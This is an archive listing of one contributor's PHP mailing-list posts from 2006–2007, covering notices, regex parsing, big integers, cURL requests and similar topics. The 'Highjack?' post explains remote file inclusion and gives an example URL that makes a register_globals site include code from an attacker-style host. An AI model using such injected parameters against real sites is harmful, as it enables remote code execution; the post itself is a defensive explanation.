Re: [PHP] Find file version

2007-07-27 Thread Matt Carlson
] To: Matt Carlson [EMAIL PROTECTED] Cc: php-general@lists.php.net Sent: Friday, July 27, 2007 12:52:08 AM Subject: Re: [PHP] Find file version On Wed, July 25, 2007 12:26 am, Matt Carlson wrote: I've been recently toying with the idea of creating a php script to emulate the function of File

[PHP] Find file version

2007-07-24 Thread Matt Carlson
I've been recently toying with the idea of creating a php script to emulate the function of File Hippo's program checker (checks certain programs for their version, and then uploads to file hippo to compare with what it is released to show a list of available updates. I've hit a brick wall

Re: [PHP] should I be looking to eliminate all notices?

2007-04-21 Thread Matt Carlson
I really have to agree here. I have gone through a mature open source project over the last month or so, and removed EVERY notice. It honestly took all of about 2 hours to actually fix the notices. It really isn't hard to eliminate them, and if you are coding something the may be released,

Re: [PHP] 'lang' file editor ...

2007-04-12 Thread Matt Carlson
I am running into the same problem. A very VERY basic thing that I worked on for importing yielded this: preg_match_all('/.*?(?:\$lang([^=]*)=(.*?); *$.*?)+/ms', file_get_contents(localization/enUS.php), $parsed); It wasn't the best, but it worked 90% of the time. Maybe this can help you on

[PHP] Question on Portfoilo's

2007-04-09 Thread Matt Carlson
So i've been meaning to start a portfolio of some code, so that when I apply for a job, and they want code samples, I have something to show them. Unfortunately, at this time, most of my work is inside of a much larger application, or in code that belongs to my current employer (not a php job,

Re: [PHP] Where is phpm

2007-03-29 Thread Matt Carlson
I don't know how much of it I have left. I know that I hacked it up quite a bit when I created an irc bot with the php reference manual. Unfortunately, there really isn't an easy way to get function information as such from inside of php, without parsing php's website. The phpdoc stuff

[PHP] Integer question

2007-03-22 Thread Matt Carlson
When dealing with large numbers inside of php, I know at the int limit, a variable is recast into float. 1). How do you return the true number of the float when it reaches the upper limits of mysql's bigint (9223372036854775807). 2). How do you handle numbers that large, while maintaining

[PHP] Integer question

2007-03-22 Thread Matt Carlson
When dealing with large numbers inside of php, I know at the int limit, a variable is recast into float. 1). How do you return the true number of the float when it reaches the upper limits of mysql's bigint (9223372036854775807). 2). How do you handle numbers that large, while maintaining

Re: [PHP] 2 errors I can not understand

2007-03-13 Thread Matt Carlson
I think you have an issue with the line while($d$s) when it comes to the number 3. $d will NEVER be $s if $s = 3. I think you want $d=$s?? Or maybe a switch for the number 3? - Original Message From: Jonathan Kahan [EMAIL PROTECTED] To: php Lists php-general@lists.php.net Sent:

Re: [PHP] 2 errors I can not understand

2007-03-13 Thread Matt Carlson
: Matt Carlson [EMAIL PROTECTED] To: Jonathan Kahan [EMAIL PROTECTED]; php Lists php-general@lists.php.net Sent: Tuesday, March 13, 2007 5:12:03 PM Subject: Re: [PHP] 2 errors I can not understand I think you have an issue with the line while($d$s) when it comes to the number 3. $d will NEVER

Re: [PHP] Variable variables and references

2007-03-10 Thread Matt Carlson
I've used variable variables probably 5 times in 2 years. They are great when you need them, but don't usually have a day-to-day use for them. Here is some sample code of the last time I used it. if(isset($$key)) { print($$key); continue;

[PHP] PHP Documentation in XML

2007-02-27 Thread Matt Carlson
Does anyone know where I could find PHP Documentation in XML or in an SQL dump? I'm trying to write an IRC bot that can retrieve information on php functions, and am realizing this would be the easiest way. Thanks in advance. -- PHP General Mailing List (http://www.php.net/) To

Re: [PHP] PHP or Bridge (card game)

2007-02-10 Thread Matt Carlson
Having learned Bridge when I was younger, I feel PHP is alot easier to learn as it is constant in a way. Depending on cards you are holding, cards your partner is holding, and your oponents bidding, depends how you should bid. Quite a bit of variablity in there. - Original Message

Re: [PHP] Converting string representation of a directory to multi-dimensional array

2007-02-06 Thread Matt Carlson
It will never receive a base name due to the way the data is structured before being passed into the function. I appreciate everyone's input on this. It's been tough for us to develop what we did (since it's such an odd case), and it's good to see other possible methods to do this in a better

[PHP] Converting string representation of a directory to multi-dimensional array

2007-02-05 Thread Matt Carlson
Over the weekend, I was tasked with taking a string representation of a directory ('\Interface\Addons\some dir\some file'), which can vary in length (no set number of depths) to a multi-dimensional array (i.e. array('Interface' = array('Addons' = array('some dir' = somefile)));). We came up

Re: [PHP] Server Stall

2007-02-05 Thread Matt Carlson
If you have cURL installed, you could use Curl to get the file, and manipulate the contents that way. Here is the standard function I use for grabbing a remote page. function doRequest($method, $url, $vars = '', $headers = '0') { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url);

Re: [PHP] Highjack?

2006-11-13 Thread Matt Carlson
With register_globals on, the globals super array ($_POST, $_GET, $_REQUEST) are automatically populated into variables. With that in mind www.example.com/index.php?path=remoteexplot.com/ would then yield include('remoteexplit.com/foo'); thus including ANY code they wish. - Original

Re: [PHP] Wath�s wrong?

2006-05-26 Thread Matt Carlson
I think that one of the issues is that when you assign a variable using instead of '', it will auto-replace your variable names inline. I don't know, but I think you should be escaping the $ before the . --- Jo�o C�ndido de Souza Neto [EMAIL PROTECTED] wrote: Hi everyone. I have a